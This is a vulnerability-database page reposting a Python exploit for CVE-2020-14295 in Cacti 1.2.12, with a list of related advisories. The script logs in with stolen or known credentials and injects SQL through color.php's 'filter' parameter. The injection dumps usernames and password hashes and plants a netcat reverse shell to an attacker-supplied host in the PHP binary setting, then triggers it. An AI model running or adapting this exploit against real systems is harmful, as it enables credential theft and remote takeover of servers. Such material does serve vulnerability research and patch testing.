Lucene search
K

Cacti 1.2.12 SQL Injection / Remote Code Execution

🗓️ 29 Apr 2021 00:00:00Reported by M4yFlyType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 180 Views

Cacti 1.2.12 SQL Injection / Remote Code Execution, CVE-2020-14295, Ubuntu 20.0

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for SQL Injection in Cacti
28 May 202116:40
githubexploit
GithubExploit
Exploit for SQL Injection in Cacti
28 Apr 202120:57
githubexploit
0day.today
Cacti 1.2.12 - (filter) SQL Injection / Remote Code Execution Exploit
29 Apr 202100:00
zdt
0day.today
Cacti 1.2.12 SQL Injection / Remote Command Execution Exploit
2 Jun 202100:00
zdt
ATTACKERKB
CVE-2020-14295
17 Jun 202000:00
attackerkb
AlpineLinux
CVE-2020-14295
17 Jun 202013:47
alpinelinux
FreeBSD
Cacti -- multiple vulnerabilities
15 Jul 202000:00
freebsd
Circl
CVE-2020-14295
30 Apr 202102:55
circl
CNVD
Cacti1 SQL Injection Vulnerability
18 Jun 202000:00
cnvd
Check Point Advisories
Cacti color.php SQL Injection (CVE-2020-14295)
21 Sep 202000:00
checkpoint_advisories
Rows per page
`# Exploit Title: Cacti 1.2.12 - 'filter' SQL Injection / Remote Code Execution  
# Date: 04/28/2021  
# Exploit Author: Leonardo Paiva  
# Vendor Homepage: https://www.cacti.net/  
# Software Link: https://www.cacti.net/downloads/cacti-1.2.12.tar.gz  
# Version: 1.2.12  
# Tested on: Ubuntu 20.04  
# CVE : CVE-2020-14295  
# Credits: @M4yFly (https://twitter.com/M4yFly)  
# References:  
# https://github.commandcom/Cacti/cacti/issues/3622  
# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14295  
  
#!/usr/bin/python3  
  
import argparse  
import requests  
import sys  
import urllib.parse  
from bs4 import BeautifulSoup  
  
# proxies = {'http': 'http://127.0.0.1:8080'}  
  
  
def login(url, username, password, session):  
print("[+] Connecting to the server...")  
get_token_request = session.get(url + "/cacti/index.php", timeout=5) #, proxies=proxies)  
  
print("[+] Retrieving CSRF token...")  
html_content = get_token_request.text  
soup = BeautifulSoup(html_content, 'html.parser')  
  
csrf_token = soup.find_all('input')[0].get('value').split(';')[0]  
  
if csrf_token:  
print(f"[+] Got CSRF token: {csrf_token}")  
print("[+] Trying to log in...")  
  
data = {  
'__csrf_magic': csrf_token,  
'action': 'login',  
'login_username': username,  
'login_password': password  
}  
  
login_request = session.post(url + "/cacti/index.php", data=data) #, proxies=proxies)  
if "Invalid User Name/Password Please Retype" in login_request.text:  
print("[-] Unable to log in. Check your credentials")  
sys.exit()  
else:  
print("[+] Successfully logged in!")  
else:  
print("[-] Unable to retrieve CSRF token!")  
sys.exit()  
  
  
def exploit(lhost, lport, session):  
rshell = urllib.parse.quote(f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {lhost} {lport} >/tmp/f")  
payload = f"')+UNION+SELECT+1,username,password,4,5,6,7+from+user_auth;update+settings+set+value='{rshell};'+where+name='path_php_binary';--+-"  
  
exploit_request = session.get(url + f"/cacti/color.php?action=export&header=false&filter=1{payload}") #, proxies=proxies)  
  
print("\n[+] SQL Injection:")  
print(exploit_request.text)  
  
try:  
session.get(url + "/cacti/host.php?action=reindex", timeout=1) #, proxies=proxies)  
except Exception:  
pass  
  
print("[+] Check your nc listener!")  
  
if __name__ == '__main__':  
parser = argparse.ArgumentParser(description='[*] Cacti 1.2.12 - SQL Injection / Remote Code Execution')  
  
parser.add_argument('-t', metavar='<target/host URL>', help='target/host URL, example: http://192.168.15.58', required=True)  
parser.add_argument('-u', metavar='<user>', help='user to log in', required=True)  
parser.add_argument('-p', metavar='<password>', help="user's password", required=True)  
parser.add_argument('--lhost', metavar='<lhost>', help='your IP address', required=True)  
parser.add_argument('--lport', metavar='<lport>', help='your listening port', required=True)  
args = parser.parse_args()  
  
url = args.t  
username = args.u  
password = args.p  
lhost = args.lhost  
lport = args.lport  
  
session = requests.Session()  
  
login(url, username, password, session)  
exploit(lhost, lport, session)  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation